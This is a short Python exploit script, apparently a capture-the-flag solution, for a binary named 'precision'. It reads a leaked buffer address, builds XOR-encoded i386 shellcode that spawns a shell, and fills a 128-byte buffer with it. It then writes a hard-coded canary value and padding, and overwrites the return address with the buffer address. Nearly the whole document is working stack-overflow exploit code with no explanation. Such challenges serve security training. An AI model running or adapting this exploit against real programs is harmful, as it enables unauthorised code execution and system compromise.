from roputils import *

p = Proc("./precision")
rop = ROP("./precision")
p.read_until(":")
addr_buf = int(p.readline(), 16)

sc = Shellcode("i386")
payload  = sc.xor(sc.exec_shell())
payload += rop.fill(128, payload)
payload += "\xa5\x31\x5a\x47\x55\x15\x50\x40" # canary
payload += "AAAAAAAAAAAA"
payload += p32(addr_buf)

p.writeline(payload)
p.readline()
p.wait(2)